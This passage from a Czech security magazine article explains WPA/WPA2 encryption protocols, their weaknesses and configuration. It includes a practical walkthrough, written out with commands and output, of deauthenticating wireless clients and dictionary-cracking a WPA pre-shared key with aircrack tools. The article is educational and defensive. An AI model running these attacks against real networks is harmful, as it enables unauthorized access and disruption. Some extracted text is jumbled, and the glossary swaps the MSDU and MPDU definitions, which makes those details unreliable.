a k obnovení GTK na požadavek
klienta. Výběrem náhodného čísla
GNonce a vypočítáním nového GTK
spustí autentizátor první zprávu. Zašle
supplicantu šifrovaný GTK (pomocí
KEK), pořadové číslo GTK a kód MIC
vypočítaný z této zprávy pomocí KCK.
Jakmile supplicant zprávu obdrží, MIC
se ověří a je možné GTK dešifrovat.
hakin9 1/2006
21
Téma čísla
Druhá zpráva potvrzuje dokončení Group Key Handshake zasláním
pořadového čísla GTK a kódu MIC
vypočítaného na této druhé zprávě.
Při přijetí autentizátor instaluje nový
GTK (po ověření hodnoty MIC).
Rovněž existuje STAkey Handshake, avšak o tom až někdy jindy.
STAkey Handshake zpřístupněním
bodu pro ad-hoc připojení podporuje
generování tajného přechodného
klíče s názvem STAkey.
Fáze 4: Utajení a integrita dat
RSNA
Všechny dříve generované klíče se
používají v protokolech podporující
utajení a integritu dat RSNA:
•
•
•
TKIP (Temporal Key Hash),
CCMP
(Counter-Mode/Cipher
Block Chaining Message Authentication Code Protocol),
WRAP (Wireless Robust Authenticated Protocol).
Dříve, než si tyto protokoly podrobně
vysvětlíme, je třeba pochopit důležitý
koncept : rozdíl mezi MSDU (MAC
Service Data Unit) a MPDU (MAC
Protocol Data Unit). Obojí se odvolává na jediný paket dat, ale MSDU
představuje data před fragmentací,
kdežto MPDU představuje více datových jednotek po fragmentaci. Rozdíl
je důležitý v šifrování protokolů TKIP
a CCMP, jelikož v TKIP se MIC vypočítá z MSDU, kdežto v CCMP se
vypočítá z MPDU.
Podobně jako protokol WEP
i TKIP je založen na šifrovacím algoritmu RC4, avšak to má pouze jeden
důvod: umožnit aktualizace systémům WEP za účelem implementace
bezpečnějšího protokolu. Protokol
TKIP se vyžaduje k certifikaci WPA
a rovněž je zahrnut v rámci RSN
802.11i jako volba. Protokol TKIP doplňuje nápravná opatření pro každou
dříve zmíněnou zranitelnost WEP:
•
22
integrita zpráv: nový protokol
MIC (Message Integrity Protocol) označovaný jako algoritmus
Michael, který lze implementovat
na software běžící na pomalých
mikroprocesorech,
hakin9 1/2006
Obrázek 9. Fáze 3: 4-Way Handshake
Obrázek 10. Fáze 3: Hierarchie skupinového klíče
•
•
IV: nová výběrová pravidla pro
hodnoty IV, která opětovně používají IV jako čítač opakování
(TSC nebo TKIP Sequence
Counter) a v rámci zamezení
opětovnému použití zvyšují velikost IV.
Per Packet Key Mixing: k získání
zdánlivě nesouvisejících šifrovacích klíčů,
www.hakin9.org
•
správa klíčů: nový mechanismus
pro výměnu a distribuci klíčů.
Schéma mixování klíčů protokolu
TKIP se dělí na dvě fáze: První fáze
zahrnuje statická data – tajný relační
klíč TEK, vysílač MAC adresy TA (obsažený k zamezení kolizí vektorů IV)
a horních 32 bitů vektoru IV. Druhá
fáze zahrnuje výstup první fáze a dol-
Bezpečnost WEP, WPA a WPA2
ních 16 bitů vektoru IV, které pro každý
nový vektor IV mění všechny bity pole
Per Packet Key. Hodnota vektoru IV
vždy začíná 0 a zvyšuje se o 1 pro
každý zaslaný paket s jakýmikoli zprávami, jejichž TSC není větší než TSC
naposledy vyřazené zprávy. Vstupem
algoritmu RC4 generující proud klíčů,
který je XOR-ovaný pomocí nešifrované MPDU, hodnoty MIC vypočítané
z MPDU a starého ICV z WEP (viz Obrázek 12), je výstup druhé fáze a část
rozšířeného vektoru IV (a dummy bajt)
generující proud klíčů.
Při výpočtu kódu MIC se používá
algoritmus Michael od Nielse Fergusona. Byl vytvořen pro protokol TKIP a
jeho cílová bezpečnosti je na úrovni 20
bitů (z výkonnostního hlediska nepoužívá algoritmus násobení, jelikož musí
být podporován na starém bezdrátovém hardwaru, který bude později rozšířen na WPA). Kvůli tomuto omezení
je třeba podniknout protiopatření, abychom se vyhnuli podvržení kódu MIC.
Za minutu nesmí nastat více než
dvě selhání MIC, jinak se vynutí 60ti
sekundový výpadek a musí být poté
stanoveny nové klíče (GTK a PTK). Algoritmus Michael vypočítá osmi oktetovou kontrolní hodnotu označovanou
jako kód MIC a před přenosem ji připojí
k MSDU. Kód MIC se vypočítá ze
zdrojové adresy (SA), cílové adresy
Obrázek 11: Fáze 3: Group Key Handshake
(DA), nešifrovaného (plaintext) MSDU
a příslušného TMK (v závislosti na
komunikační straně se pro přenos
a přijetí používají odlišné klíče).
Protokol CCMP je založen na skupině blokových šifer AES (Advanced
Encryption Standard) v jejich provozním režimu CCM s klíčem a bloky
o délce 128 bitů. AES představuje
pro protokol CCMP totéž, čím je RC4
pro protokol TKIP, avšak na rozdíl od
TKIP, jehož záměrem bylo přizpůsobit
se stávajícímu hardwaru WEP, CCMP
nepředstavuje žádný kompromis,
nýbrž zcela nový návrh protokolu. Pro-
tokol CCMP vytváří kód MIC pomocí
režimu čítače a metody autentizace
zprávy označované jako Cipher Block
Chaining (CBC-MAC).
Rovněž byly přidány určité zajímavé funkcionality, například použití
jediného klíče k šifrování a autentizaci
(s různými inicializačními vektory) nebo pokrývání nešifrovaných dat pomocí autentizace. Protokol CCMP přidává
k MPDU 16 bajtů: 8 bajtů pro hlavičku
CCMP a 8 bajtů pro MIC. Hlavička
CCMP je nešifrované pole obsažené
mezi hlavičkou MAC a šifrovanými
daty obsahující 48bitové PN (Packet
Obrázek 12. Schéma mixování klíčů TKIP a šifrování
www.hakin9.org
hakin9 1/2006
23
Téma čísla
Obrázek 13. Výpočet MIC pomocí algoritmu Michael
Number = rozšířený IV) a Group Key
KeyID. Pro každou následnou MPDU
se PN zvýší o hodnotu jedna.
K získání konečného kódu MIC
o velikosti 64 bitů (konečný kód MIC
je 128bitový blok, jelikož dolních 64
bitů se vyřadí) využívá výpočet MIC
algoritmus CBC-MAC, který šifruje
počáteční nonce blok (vypočítaný
z polí Priority, zdrojové adresy MPDU
a zvýšeného PN) a XORy následných bloků. Následně se kód MIC
připojí k nešifrovaným datům pro
šifrování AES v režimu čítače. Čítač
se sestaví z nonce, které se podobá
nonce MIC, ale má zvláštní pole čítače s výchozí hodnotu 1, které se
zvýší pro každý blok.
Posledním protokolem je WRAP,
který je rovněž založen na AES,
avšak používá režim OCB (Offset
Codebook Mode) autentizovaného
šifrovacího
schématu
(šifrování
a autentenizace se provede v jediném výpočtu). Pracovní skupina
IEEE 802.11i nejprve vybrala režim
OCB, ale posléze se kvůli problémům
s duševním vlastnictvím a možným
licenčním poplatkům od něj upustilo.
Následně byl přijat protokol CCMP
jako povinný.
Slabá místa WPA/
WPA2
I když od vydání WPA/WPA2 byla
odhalena celá řada méně důležitých
slabých míst, žádné z nich nejsou
příliš nebezpečná, pokud jsou dodržovány následující jednoduchá
bezpečnostní doporučení.
Nejpraktičtější zranitelností je
útok na klíč PSK WPA/WPA2. Jak
jsme se dříve zmínili, PSK poskytuje
alternativu ke generování 802.1x
PMK pomocí autentizačního serveru.
Jedná se o řetězec s 256 bity nebo
Obrázek 14. Šifrování protokolu CCMP
24
hakin9 1/2006
www.hakin9.org
heslo skládající se z 8 až 63 znaků,
které slouží pro generování takového
řetězce pomocí známého algoritmu:
PSK = PMK = PBKDF2(heslo, SSID,
délka SSID, 4096, 256), kde PBKDF2
je metoda používaná v PKCS#5, 4096
je počet hašů a 256 je délka výstupu.
PTK je odvezen z PMK pomocí 4-Way
Handshake a všechny informace, které slouží k výpočtu jeho hodnoty, se
přenáší jako nešifrovaný text.
Síla PTK závisí tedy pouze na
hodnotě PMK, která v podstatě pro
PSK znamená sílu hesla. Jak uvádí
Robert Moskowitz, druhá zpráva
4-Way Handshake by mohla být
předmětem, jak slovníkových, tak
offline útoků typu brute-force. Ke
zneužití této trhliny v bezpečnosti
byla vytvořena utilita cowpatty, jejíž
zdrojový kód použil a vylepšil Christophe Devine v nástroji Aircrack, aby
umožnil slovníkové útoky a útoky
typu brute-force na WPA. Návrh protokolu (4096 hašů na každý pokus
hesla) znamená, že útoky brute-force jsou velmi pomalé (pouze několik
stovek hesel za sekundu pomocí nejnovějšího samostatného procesoru).
PMK nelze vypočítat dopředu, jelikož
heslo je na základě ESSID dodatečně zakódováno. K účinné ochraně
před touto trhlinou v zabezpečení
je třeba zvolit vhodné, neslovníkové
Bezpečnost WEP, WPA a WPA2
Výpis 7. Odhalování sousedních sítí
# airodump ath0 wpa-crk 0
BSSID
00:13:10:1F:9A:72
PWR
56
Beacons
112
# Data
16
BSSID
00:13:10:1F:9A:72
STATION
00:0C:F1:19:77:5C
PWR
34
CH
1
MB
48
Packets
1
ENC
WPA
ESSID
hakin9demo
ESSID
hakin9demo
Výpis 8. Spuštění slovníkového útoku
$ aircrack -a 2 -w some_dictionnary_file -0 wpa-psk.cap
Opening wpa-psk.cap
Read 541 packets.
BSSID
ESSID
Encryption
00:13:10:1F:9A:72 hakin9demo WPA (1 handshake)
přístupový bod s BSSID 00:13:10:1F:
9A:72 využívající šifrování WEP na
kanálu 1 s identifikátorem SSID hakin9demo a jeden klient identifikovaný
pomocí MAC 00:0C:F1:19:77:5C (což
znamená, že 4-Way Handshake byl již
pro tohoto klienta proveden).
Po nalezení cílové sítě by se
mělo zahájit zachytávání na správném kanálu, abychom při skenování
jiných kanálů nepřišli o nějaké žadoucí pakety.
# airodump ath0 wpa-psk 1
Legitimní klienti by se poté měli deasociovat, což je přinutí spustit novou
asociaci a dovolí nám zachytit zprávy 4-Way Handshake. Pro tento útok
se rovněž používá nástroj Aireplay,
který zasíláním podvrženého požadavku diasociuje vybrané klienty se
specifikovaným BSSID :
# aireplay -0 1 -a <BSSID>
-c <client_mac> ath0
Obrázek 15. Nástroj Aircrack nalezl slabý WPA PSK
heslo skládající se z více slov či shluků znaků (alespoň 20 znaků).
K provedení tohoto útoku musí útočník pasivním sledováním
bezdrátového sítě nebo pomocí
deautentizačního útoku (jak jsme si
popsali dříve) zachytit zprávy 4-Way
Handshake, aby proces zrychlil.
První dvě zprávy jsou ve skutečnosti vyžadovány ke spuštění hádání
hodnot PSK. Pamatujte si, že PTK
= PRF-X (PMK, rozšíření párového
klíče, Min(AP_Mac, STA_Mac) ||
Max(AP_Mac, STA_Mac) || Min(ANonce, SNonce) || Max(ANonce,
SNonce)), kde PMK se v našem
případě rovná PSK. Po druhé zprávě
útočník zná ANonce (z první zprávy)
a SNonce (z druhé zprávy) a může
začít hádat hodnotu PSK pro vypočítání PTK a odvozených dočasných
klíčů. Uhodne-li správně hodnodu
PSK, lze získat kód MIC druhé zprávy pomocí odpovídajícího KCK – jinak se musí provést další hádání.
Nyní se podíváme na praktický
příklad. Začíná stejně jako náš příklad
nabourávání WEP. Prvním krokem je
aktivace monitorovacího režimu:
# airmon.sh start ath0
V dalším kroku se odhalí sousední
sítě a k nim asociovaní klienti (viz
Výpis 7).
Výsledek by mohl být interpretován následovně: k této bezdrátové
síti je asociován a autentizován jeden
www.hakin9.org
Posledním krokem je spustit slovníkový útok pomocí Aircrack (viz
Výpis 8). Výsledky jsou znázorněny
na Obrázku 15.
Další hlavním slabým místem WPA
je možnost DoS v průběhu 4-Way
Handshake. Changhua He a John
C. Mitchell si všimli, že první zpráva
4-Way Handshake není autentizována
a každý klient musí uchovávat každou
první zprávu, dokud neobdrží platnou
(podepsanou) třetí zprávu, což ponechává klienta potenciálně zranitelného
před vyčerpáním paměti. Spoofingem
první zprávy zaslané přístupovým bodem může útočník provést útok DoS
na klienta, pokud dovoluje existenci
několika souběžných relací.
Michael Message Integrity Code
má rovněž známé slabé místo vyplývající z jeho návrhu. Bezpečnost
algoritmu Micheal závisí na tom,
jestli je komunikace šifrována. I když
šifrované kódy MIC jsou obvykle navrženy tak, aby odolávaly známým
útokům na nešifrované zprávy (kdy
útočník má nešifrovanou zprávu a její kód MIC), algoritmus Michael není
před takovými útoky chráněn, jelikož
je invertibilní. Tajný klíč MIC je mož-
hakin9 1/2006
25
Téma čísla
Slovník pojmů
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
AP – Přístupový bod, základní stanice pro síť Wi-Fi, která
připojí klienty bezdrátové sítě mezi sebou navzájem a k normálním sítím.
ARPAddress Resolution Protocol, protokol pro překlad IP
adres na MAC adresy.
BSSID – Basic Service Set Identifier, MAC adresa přístupového bodu.
CCMP – Counter-Mode / Cipher Block Chaining Message
Authentication Code Protocol, šifrovací protokol používaný
ve WPA2, založený na skupině blokových šifer AES.
CRC – Cyclic Redundancy Check, pseudo-integritní algoritmus používaný v protokolu WEP (slabé místo).
EAP – Extensible Authentication Protocol, rámec pro různé
autentizační metody.
EAPOL – EAP Over LAN, protokol používaný na bezdrátových sítích pro přenos EAP.
GEK – Group Encryption Key, klíč pro šifrování dat v provozu
skupinového vysílání- multicast (také se používá pro integritu v protokolu CCMP).
GIK – Group Integrity Key, klíč pro šifrování dat v provozu
skupinového vysílání (používaný v protokolu TKIP).
GMK – Group Master Key, hlavní klíč hierarchie skupinových
klíčů.
GTK – Group Transient Key, klíč odvozený z GMK.
ICV – Integrity Check Value, datové pole připojené k nešifrovaným datům pro integritu (založené na slabém algoritmu
CRC32).
IV – Inicializační vektor, data spojená s šifrovacím klíčem
k vytvoření jedinečného proudu klíčů.
KCK – Key Confirmation Key, klíč integrity chránící zprávy
handshake.
KCK – Key Encryption Key, klíč utajení chránící zprávy handshake.
MIC – Message Integrity Code, datové pole připojené
k nešifrovaným datům pro integritu (na základě algoritmu
Michael).
MK – Master Key, hlavní klíč poznaný supplicantem a autentizátorem po autentizačním procesu 802.1x.
né odhalit na základě jediné známé
zprávy a hodnoty jejího kódu MIC,
takže je rozhodující uchovat hodnotu
MIC v tajnosti. Poslední známé slabé
místo je teoretická možnost útoku na
Temporal Key Hash WPA, což za
určitých okolností (znalosti několika
klíčů RC4) má za následek zjednodušení útoku (od ∂128 do ∂105).
Protokoly WPA/WPA2 jsou také
náchylné ke zranitelnostem ovlivňující jiné mechanismy standardu
802.11i, například útoky pomocí
spoofování zpráv 802.1X (EAPoL
Logoff, EAPoL Start, EAP Failure
atd.), které poprvé popsal William
A. Arbaugh a Arunesh Mishra. Tyto
26
hakin9 1/2006
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
MPDU – Mac Protocol Data Unit, datový paket před fragmentací.
MSDU – Mac Service Data Unit, datový paket po fragmentaci.
PAE – Port Access Entity, logický port 802.1x.
PMK – Pairwise Master Key, hlavní klíč hierarchie párových
klíčů.
PSK – Pre-Shared Key, klíč odvozený z hesla nahrazující
PMK, který běžně vydává skutečný autentizační server.
PTK – Pairwise Transient Key, klíč odvozený z PMK.
RSN – Robust Security Network, bezpečnostní mechanismus 802.11i (TKIP, CCMP atd.).
RSNA – Robust Security Network Association, bezpečnostní
asociace používaná v RSN.
RSN IE – Robust Security Network Information Element,
pole obsahující informace RSN obsažené v Probe Response
a Association Request.
SSID – Service Set Identifier, identifikátor bezdrátové sítě
(není stejný jako ESSID).
STA – Station, bezdrátový klient.
TK – Temporary Key, klíč pro šifrování dat v provozu unicast
(rovněž slouží ke kontrole integrity v CCMP).
TKIP – Temporal Key Integrity Protocol, šifrovací protokol
používaný v WPA založený na algoritmu RC4 (jako WEP).
TMK – Temporary MIC Key, klíč pro integritu dat v provozu
unicast (používaný v protokolu TKIP).
TSC – TKIP Sequence Counter, čítač opakování používaný
v protokolu TKIP (není stejný jako rozšířený IV).
TSN – Transitional Security Network, bezpečnostní mechanismus před standardem 802.11i (WEP atd.).
WEP – Wired Equivalent Privacy, výchozí šifrovací protokol
pro sítě 802.11.
WPA – Wireless Protected Access, implementace rané verze
standardu 802.11i, založená na šifrovacím algoritmu TKIP.
WRAP – Wireless Robust Authenticated Protocol, starý šifrovací protokol používaný ve WPA2.
útoky jsou provdeditelné v důsledku
nedostatku autentizace. V neposlední řadě je důležité si všimnout,
že použití protokolu WPA/WPA2
neposkytuje žádnou ochranu proti
útokům na podkladové technologie,
například záměrné rušení radiofrekvence, ´útoky DoS prostřednictvím
porušení 802.11, deautentizace, deasociace a podobně.
WPA/WPA2
implementace OS
Ve Windows není podpora WPA2
vestavěna, proto byla 26. dubna
2005 vydána aktualizace Windows
XP SP2 (KB893357), která doplňuje
www.hakin9.org
WPA2 a zlepšuje detekci sítě (viz
Obrázek 16). Jiné operační systémy
od Microsoftu musí používat externí
supplicanty (komerční nebo open-source, například wpa_supplicant
– verze pro Windows je zkušební).
Na Linuxu a *BSD byl wpa_supplicant v době vydání standardu
802.11i připraven na WPA2. Externí
supplicanty podporují velké množství metod EAP a funkce pro správu
klíčů WPA, WPA2 a WEP. Je možné
deklarovat několik sítí s různým šifrováním, správou klíčů a metodami
EAP – jednoduchý konfigurační soubor WPA2 je uveden na Výpisu 9.
Výchozím umístěním konfiguračního
Bezpečnost WEP, WPA a WPA2
O autorovi
Guillaume Lehembre je francouzský
bezpečnostní konzultant. Od roku
2004 pracuje ve společnosti HSC
(Hervé Schauer Consultants – http://
www.hsc.fr). V průběhu své pestré profesní kariéry se zabýval audity, studiemi
a testy průniků a získával zkušenosti v
oblasti bezdrátové bezpečnosti. Kromě
toho také pronášel veřejné přednášky
a publikoval materiály o bezpečnosti.
Guillauma můžete kontaktovat na adrese: [email protected].
souboru wpa_supplicant je adresář
/etc/wpa_supplicant.conf a soubor
by měl být přístupný pouze pro uživatele root.
Démon wpa_supplicant by měl
být nejprve spuštěn s právy root
v ladícím režimu (volba -dd), s podporou správného ovladače (v našem
příkladě se jedná o volbu -D madWi-Fi
k podpoře chipsetu Atheros), názvem rozhraní (volba -i , v našem
Výpis 9. Příklad konfiguračního souboru wpa_supplicant pro WPA2
ap_scan=1
# Scan radio frequency
# and select appropriate access point
network={
# First wireless network
ssid="some_ssid" # SSID of the network
scan_ssid=1
# Send Probe Request to find hidden SSID
proto=RSN
# RSN for WPA2/IEEE 802.11i
key_mgmt=WPA-PSK # Pre-Shared Key authentication
pairwise=CCMP
# CCMP protocol (AES encryption)
psk=1232813c587da145ce647fd43e5908abb45as4a1258fd5e410385ab4e5f435ac
}
případě to je ath0) a cestou ke konfiguračnímu souboru (volba -c):
# wpa_supplicant
-D madWi-Fi
-dd -c /etc/wpa_supplicant.conf
-i ath0
Výstup všech výše popsaných
teoretických postupů se provede
v ladícím režimu (asociace AP,
autentizace 802.1X, 4-Way Handshake a tak dále). Jakmile vše
funguje, měl by se spustit wpa_sup-
V Síti
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
http://standards.ieee.org/getieee802/download/802.11i-2004.pdf – standard IEEE
802.11i,
http://www.awprofessional.com/title/0321136209 – kniha Real 802.11 Security
Wi-Fi Protected Access and 802.11i (John Edney, William A. Arbaugh) – Addison
Wesley – ISBN: 0-321-13620-9,
http://www.cs.umd.edu/~waa/attack/v3dcmnt.htm – dokument o induktivnímu
útok proti WEP/WEP2 (Arbaugh)
http://www.drizzle.com/~aboba/IEEE/rc4_ksaproc.pdf – Slabá místa v algoritmu
RC4 (Fluhrer, Mantin, Shamir),
http://www.dachb0den.com/projects/bsd-airtools/wepexp.txt – optimalizace
h1kari,
http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf – Odposlouchávání mobilní
komunikace: Nedostatečná bezpečnost 802.11 (Borisov, Goldberg, Wagner)
http://airsnort.shmoo.com/ – AirSnort,
http://www.cr0.net:8040/code/network/aircrack/ – Aircrack (Devine),
http://weplab.sourceforge.net/ – Weplab (Sanchez),
http://www.Wi-Finetnews.com/archives/002452.html – slabá místa WPA PSK
(Moskowitz),
http://new.remote-exploit.org/images/5/5a/Cowpatty-2.0.tar.gz – Cowpatty WPA-PSK Crackovací nástroje,
http://byte.csc.lsu.edu/~durresi/7502/reading/p43-he.pdf – analýzy 4-Way Handshake standardu 802.11i,
http://www.cs.umd.edu/%7ewaa/1x.pdf – počáteční bezpečnostní analýzy standardu IEEE 802.1X (Arbaugh, Mishra),
http://support.microsoft.com/?kbid=893357 – aktualizace WPA2 pro Microsoft
Windows XP SP2,
http://hostap.epitest.fi/wpa_supplicant/ – wpa_supplicant,
http://www.securityfocus.com/infocus/1814 – WEP: Dead Again, část 1,
http://www.securityfocus.com/infocus/1824 – WEP: Dead Again, část 2,
www.hakin9.org
plicant v režimu démon (nahrazením volby -dd za -B).
Podpora protokolu WPA2 se
dostala na platformu Macintosh
s vydáním aktualizace softwaru
Apple AirPort s číslem 4.2: AirPort
Extreme Macintosh, AirPort Extreme
Base Station a AirPort Express.
Shrnutí
Je zřejmé, že šifrování WEP neposkytuje dostatečnou bezpečnost pro
bezdrátové sítě a lze ho používat
pouze ve spojení s šifrovacími řešením na vyšší úrovní (například VPN).
WPA představuje bezpečné řešení
pro rozšiřitelná zařízení, která nepodporují WPA2. WPA2 se však již brzy
stane standardem pro bezdrátovou
bezpečnost. Nezapomeňte umístit své
bezdrátové zařízení do filtrované zóny
a mít pro velmi důležité sítě připraveno
klasické připojení – úmyslné rušení
radiofrekvence a nízkoúrovňové útoky
(porušení standardu 802.11, falešná
deasociace a podobně) mohou mít
stále zničující účinky. l
Obrázek 16. Podpora WPA2 ve
Windows XP SP2
hakin9 1/2006
27

Podobné dokumenty